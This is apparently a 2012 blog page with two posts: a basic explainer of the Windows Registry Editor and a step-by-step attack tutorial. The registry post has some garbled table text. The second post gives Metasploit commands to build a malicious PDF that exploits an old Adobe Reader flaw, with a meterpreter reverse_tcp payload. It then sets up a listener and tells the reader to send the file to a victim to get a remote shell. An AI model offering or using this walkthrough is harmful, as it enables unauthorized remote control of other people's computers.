Thursday 26 January 2012

Understanding Regedit

Understanding Regedit
The Microsoft Registry Editor enables you to view, search for, and change settings
in your system registry, which contains information about how your computer
runs. Windows stores its configuration information in a database called the
registry which can be accessed using Regedit.exe (Registry Editor). The registry
contains profiles for each user of the computer and information about s ystem
hardware, installed programs, and property settings. Windows continually
references this information during its operation. Although you can use Registry
Editor to inspect and modify the registry, doing so is not recommended, as making
incorrect changes can damage your system.
Registry Editor is an advanced tool for viewing and changing settings in your
system registry which contains information about how  your computer runs.
Windows stores its configuration information in a database (the registry) that is
organized in a tree format. When you view the registry in the Microsoft Registry
Editor its hierarchical nature becomes obvious.  The editor presents an Explorer-
like view of the registry, with a tree in the left pane and data in the right


The registry tree is divided into six broad sections (five in NT).
HKEY_CLASSES_ROOT HKEY_CURRENT_USER HKEY_LOCAL_MACHINE
HKEY_USERS HKEY_CURRENT_CONFIG HKEY_DYN_DATA Folders represent keys in
the registry and are shown in the navigation area on the left side of the Registry
Editor window. On the left side below My Computer their are five   keys
HKEY_CLASSES_ROOT, HKEY_CURRENT_ USER, HKEY_ LOCAL_MACHINE,
HKEY_USERS, HKEY_CURRENT_CONFIG, HKEY_DYN_DATA. On expanding these
Keys we’ll get the sub keys In the right side area, the entries in a particular sub
key are displayed, which are Name (Contains name of the value), Type (contains
type of the value), and Data (Contains associated data of the value.)When you
double-click an entry, it opens an editing dialog box. At the status bar of regedit
path is shown.

You should not edit your registry unless it is absolutely necessary. If there is an
error in your registry, your computer may not function properly. If this happens,
you can restore the registry to the same version you were using when you last
successfully started your computer Regedit.exe is automatically installed during
setup and is stored in same folder as is Windows. To start Regedit.exe
1.
Click
Start
, and then click
Run
.
2.
Type Regedit, and then click
OK
.
the navigation area of the Registry Editor displays folders, each of which
represents a
predefined key
(a key that represents one of the main division of the
registry for e.g.: HKEY_LOCAL_MACHINE) on the local computer. When accessing
the registry of a remote computer, only two predefined keys, HKEY_USERS and
HKEY_LOCAL_MACHINE, appear.
Description
Folder/predefined key
Contains the root of the configuration information for the user
who is currently logged on The user’s folders, screen colors, and
HKEY_CURRENT_USER
Control Panel settings are stored here. This information is
referred to as a user’s profile
HKEY_USERS
Contains the root of all user profiles on the computer.
HKEY_CURRENT_USER is a sub key of HKEY_USERS.
HKEY_LOCAL_MACHINE
Contains configuration information particular to the computer
(for any user).
Is a sub key of HKEY_LOCAL_MACHINE\Software. The
HKEY_CLASSES_ROOT
information stored here ensures that the correct program opens
when you open a file by using Windows Explorer.
HKEY_CURRENT_CONFIG
Contains information about the hardware profile used by the
local computer at system startup.
Data type  Description
Raw binary data. Most hardware component
REG_BINARY
information is stored as binary data and is displayed in
Registry Editor in hexadecimal format.
Data represented by a number that is 4 bytes long.
Many parameters for device drivers and services are
REG_DWORD
this type and are displayed in Registry Editor in binary,
hexadecimal, or decimal format.
A variable-length data string. This data type includes
REG_EXPAND_SZ
variables that are resolved when a program or service
uses the data.
A multiple string. Values that contain lists or multiple
values in a form that people can read are usually this
REG_MULTI_SZ
type. Entries are separated by spaces, commas, or
other marks.

REG_SZ
A fixed-length text string.
REG_FULL_RESOURCE_DESCRIPTOR
A series of nested arrays designed to store a resource
list for a hardware component or driver.
Incorrectly editing the registry may severely damage your system. Before
making changes to the registry, you should back up any valued data on your
computer.
You must back up your registry before tweaking into it or it may lead you to
reinstall your operating system.
You can search for lot of registry backup tool an use any one of them, like
ERUNT
or click here for alternate methods of backing up registry.
Microsoft Help and Support center.
PC SUPPORT ADVISOR
picture - http://www.nogeekleftbehind.com/images/regedit_dell_wallpaper.jpg
picture -http://www.photocamel.com/gallery/data/540/regedit.JPG

Wednesday 11 January 2012

How to Attack on Remote PC through PDF

How to Attack on Remote PC through PDF



Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
This module exploits an array overflow in Adobe Reader and Adobe Acrobat. Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a specially crafted pdf that a contains malformed U3D data, an attacker may be able to execute arbitrary code.

Exploit Targets
Adobe Reader and Acrobat Professional prior to version 9.3
Acrobat prior to version 8.2
Adobe Reader 9.0.0

Requirement
Attacker: Backtrack 5
Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/adobe_u3d_meshdecl

Msf exploit (adobe_u3d_meshdecl)>set outpathpath /home/desktop

Msf exploit (adobe_u3d_meshdecl)>set payload windows/meterpreter/reverse_tcp

Msf exploit (adobe_u3d_meshdecl)>set lhost xxx.xxx.xxx (IP of Local Host)

Msf exploit (adobe_u3d_meshdecl)>exploit

After we successfully generate the malicious PDF, it will stored on your local computer
/root/.msf4/local/msf.pdf

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost xxx.xxx.xxx

exploit

Now send your msf.pdf files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer


Share

Twitter Delicious Facebook Digg Stumbleupon Favorites More